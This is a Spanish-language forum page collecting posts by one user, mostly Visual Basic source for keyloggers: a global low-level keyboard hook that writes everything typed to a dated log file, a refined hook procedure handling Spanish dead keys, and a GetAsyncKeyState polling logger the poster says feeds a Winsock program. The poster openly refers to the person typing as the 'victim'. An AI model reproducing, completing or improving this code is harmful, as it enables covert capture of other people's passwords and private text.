Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - xSundeRx

#1
Logré implementar el API "AsciiEx":
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    'On Error Resume Next
   
    If (nCode = HC_ACTION) Then
            If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then
                Dim KBState(255) As Byte
                Dim ChrRet As Integer
                Dim sChr As String
                Dim ret As Long
   
                Dim BufLen As Integer
   
                BufLen = 5
   
                ret = GetKeyboardState(KBState(0))
                   
                If ret > 0 Then
                    ret = ToAsciiEx(lParam, MapVirtualKeyEx(lParam, 2&, 0&), KBState(0), ChrRet, 0&, 0&)
                   
                    'sChr = StrConv(sChr, vbFromUnicode)
                    'sChr = String(BufLen, Chr(0))
                   
                    'ret = ToUnicode(85, MapVirtualKey(85, 0&), KBState(0), StrPtr(sChr), BufLen, 0&)
                    'ret = ToUnicodeEx(lParam, MapVirtualKeyEx(lParam, 0&, 0&), KBState(0), StrPtr(sChr), BufLen, 0&, 0&)
                   
                    'sChr = Trim$(Replace$(sChr, Chr(0), vbNullString))
                   
                    If ChrRet >= 0 And ChrRet < 256 Then
                        Call Add_Text(Form1.txtLog, Chr(ChrRet))
                    Else
                        Call Add_Text(Form1.txtLog, "[" & CStr(ChrRet) & "]")
                    End If
                   
                    'Call Add_Text(Form1.txtLog, sChr)
                End If
            End If
    End If
   
    KBProc = CallNextHookEx(hHook, nCode, wParam, lParam)
End Function


Aún estoy probando con "ToUnicode", pero no logro que funcione dentro del "hook proc". Cuando aparece un WM_DEADCHAR en el sistema, al parecer si se manipula el lParam dentro de un subclassing, lo hace saltar y envía WM_CHAR. Hasta ahora, la única solución que encontré es blockear la función del programa con las teclas que generan ese problema, son VKcode: 186 y 222.
Para resumir, si mi hook está activo, escribo en block de notas y si presiono la tecla de tilde (´), directamente se escribe: ´´. Y no espera la siguiente pulsación.
#2
Cita de: fary en 22 Enero 2020, 19:41 PM
¿Y que es lo que no entiendes?



En sí, no entiendo varias cosas. ¿Desde cuando lParam dejó de ser un puntero? ¿Por qué PostMessage dentro del hook en ciertas ocasiones anula el WM_DEADCHAR? ¿Alguno logró traducir las pulsaciones a texto usando ToAsciiEx o ToUnicode?
#3
Intento mejorar el código de un keylogger que saque de unos hilos viejos. Mi idea es que no registre el código de las teclas, sino directamente el texto que escribe el usuario. Tirando un PostMessage WM_KEYDOWN hacia un TextBox. Añadiendo cierta compatibilidad para que el usuario/victima, pueda utilizar los signos de acentuación en teclados españoles.
Cualquier mejora o consejo es bienvenida.
Módulo:

Option Explicit

Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32.dll" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hMod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal cb As Long)

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private Type KBDLLHOOKSTRUCT
 vkCode As Long
 scanCode As Long
 flags As Long
 time As Long
 dwExtraInfo As Long
End Type

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Public Const KEYEVENTF_KEYDOWN = &H0
Public Const KEYEVENTF_EXTENDEDKEY = &H1
Public Const KEYEVENTF_KEYUP = &H2


' Low-Level Keyboard Constants
Private Const HC_ACTION = 0
Private Const LLKHF_EXTENDED = &H1
Private Const LLKHF_INJECTED = &H10
Private Const LLKHF_ALTDOWN = &H20
Private Const LLKHF_UP = &H80

' Virtual Keys
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Public Const VK_SHIFT = &HA0
Public Const VK_RSHIFT = &HA1

Private Const WH_KEYBOARD_LL = 13&
'Private Const WH_KEYBOARD_LL As Long = 13

Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_DEADCHAR = &H103
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Const WM_SYSCHAR = &H106
Private Const WM_SYSDEADCHAR = &H107
Private Const WM_IME_KEYDOWN = &H290

Public Buffer_Len   As Integer
Public nFile       As Integer

Dim Log_Path As String

Dim Last_Key As Long
Dim Last_Msg As Long
Dim Last_Shift As Boolean
Dim Shift_Trigger As Boolean

Dim hHook As Long

Public Sub Iniciar_Keylogger()
   'Dim hMod As Long
   Dim Header As String
   
   Last_Key = 0
   Last_Msg = 0
   Last_Shift = False
   Shift_Trigger = False
   
   Buffer_Len = 30
   Form1.txtLog.Text = vbNullString
   Log_Path = App.Path & "\" & Format(Date, "yyyy-MM-dd")
   nFile = FreeFile
   
   Open Log_Path For Binary Access Write As #nFile
   
   If LOF(nFile) > 0 Then
       Seek #nFile, LOF(nFile) + 1
   End If
   
   Header = "[KEYLOGGER 1.0 - " & Format(Date, "yyyy-MM-dd hh:mm") & "]" & vbCrLf & "[INI]" & vbCrLf
   
   Put #nFile, , Header
   
   'hMod = GetProcAddress(LoadLibrary("USER32"), "SetWindowsHookExA")
   'hHook = Invoke(hMod, WH_KEYBOARD_LL, AddressOf KBProc, 0, 0)

   hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0&) 'App.hInstance
End Sub

Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
   'On Error Resume Next
   
   'Static KBMsg As KBDLLHOOKSTRUCT
   Static i As Long
           
   i = i + 1
   
   If (nCode = HC_ACTION) Then
   
       'Call CopyMemory(KBMsg, ByVal lParam, Len(KBMsg))
           
           If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then
               
               If (lParam = 186) Then
                   If Shift_Trigger Then
                       Call Add_Text(Form1.txtLog, "^")
                   Else
                       Call Add_Text(Form1.txtLog, "`")
                   End If
                   Shift_Trigger = False
               ElseIf (lParam = 222) Then
                   If Shift_Trigger Then
                       Call Add_Text(Form1.txtLog, "¨")
                   Else
                       Call Add_Text(Form1.txtLog, "´")
                   End If
                   Shift_Trigger = False
               Else
                   If (Last_Key = 186 Or Last_Key = 222 Or lParam = 8) Then
                       Call Add_Text(Form1.txtLog, Chr(lParam))
                   Else
                       Call PostMessage(Form1.txtLog.hWnd, wParam, lParam, 0&)
                   End If
               End If
               
               'Detecta si shift está presionado
               If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = True
               Call Add_Text(Form1.Text2, "[" & i & "]   DOWN   " & lParam & "   " & Last_Shift & vbNewLine)
           End If
           
           If (wParam = WM_KEYUP Or wParam = WM_SYSKEYUP) Then
               
               If (lParam = 186 Or lParam = 222) Then
                   If Last_Shift Then
                       Shift_Trigger = True
                   End If
               End If
               
               'Detecta si shift se dejó de presionar
               If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = False
               
               Call Add_Text(Form1.Text2, "[" & i & "]   UP          " & lParam & "   " & Last_Shift & vbNewLine)
           End If
           
           Last_Msg = wParam
           Last_Key = lParam
   End If
   
   KBProc = CallNextHookEx(hHook, nCode, wParam, lParam)
End Function

Public Sub Add_Text(objTextBox As TextBox, sText As String)
   objTextBox.Text = objTextBox.Text & sText
   objTextBox.SelStart = Len(objTextBox.Text)
End Sub

Public Sub Terminar_Keylogger()
   'Dim hMod As Long
   
   'hMod = GetProcAddress(LoadLibrary("USER32"), "UnhookWindowsHookEx")
   'Call Invoke(hMod, hHook)

   Call UnhookWindowsHookEx(hHook)
   
   If Len(Form1.txtLog.Text) > 0 Then
       Put #nFile, , Form1.txtLog.Text
   End If
   
   
   Put #nFile, , "[FIN]" & vbCrLf
   Close #nFile
End Sub


Form1: (agregar un TextoBox: "txtLog" y "Text2", ambos MultiLine=True
Private Sub Form_Load()
   Call Iniciar_Keylogger
End Sub

Private Sub Form_Unload(Cancel As Integer)
   Call Terminar_Keylogger
End Sub

Private Sub txtLog_KeyPress(KeyAscii As Integer)
   If Len(txtLog.Text) > Buffer_Len Then
       Put #nFile, , txtLog.Text
       txtLog.Text = vbNullString
   End If
End Sub

#4
en el servidor te falta el localport
Winsock1.Close
Winsock1.LocalPort = "1234"
Winsock1.Listen
#5
proba con esta linea:
Winsock1.Connect "127.0.0.1", "1234"
#6
proba con el tune up
#7
El código q pusiste te tira errores aca lo corregí:

Citar
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub TM_Timer()
Dim i As Integer, x As Integer   '# Declaramos i y x como enteros

For i = 8 To 222   '# El bucle recorrerá desde el valor 8 hasta el 222

x = GetAsyncKeyState(i)  '# Obtendrá la tecla que se situa en el entero i
 
If x = -32767 Then  '# Verificamos si se ha pulsado alguna tecla

Select Case i  '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
                     '# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
                     '# ir fijando en la anterior lista que he puesto al principio


   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "   '#  Recibimos la tecla y la interpretamos
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "F1"
   Case vbKeyF2: Text1.Text = Text1.Text & "F2"
   Case vbKeyF3: Text1.Text = Text1.Text & "F3"
   Case vbKeyF4: Text1.Text = Text1.Text & "F4"
   Case vbKeyF5: Text1.Text = Text1.Text & "F5"
   Case vbKeyF6: Text1.Text = Text1.Text & "F6"
   Case vbKeyF7: Text1.Text = Text1.Text & "F7"
   Case vbKeyF8: Text1.Text = Text1.Text & "F8"
   Case vbKeyF9: Text1.Text = Text1.Text & "F9"
   Case vbKeyF10: Text1.Text = Text1.Text & "F10"
   Case vbKeyF11: Text1.Text = Text1.Text & "F11"
   Case vbKeyF12: Text1.Text = Text1.Text & "F12"
   Case vbKeyF13: Text1.Text = Text1.Text & "F13"
   Case vbKeyF14: Text1.Text = Text1.Text & "F14"
   Case vbKeyF15: Text1.Text = Text1.Text & "F15"
   Case vbKeyF16: Text1.Text = Text1.Text & "F16"
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "

End Select

End If

Next
End Sub

Eran pavadas pero bue...

Desde ya gracias me sirvio con un programillo q estoy haciendop con un Winsock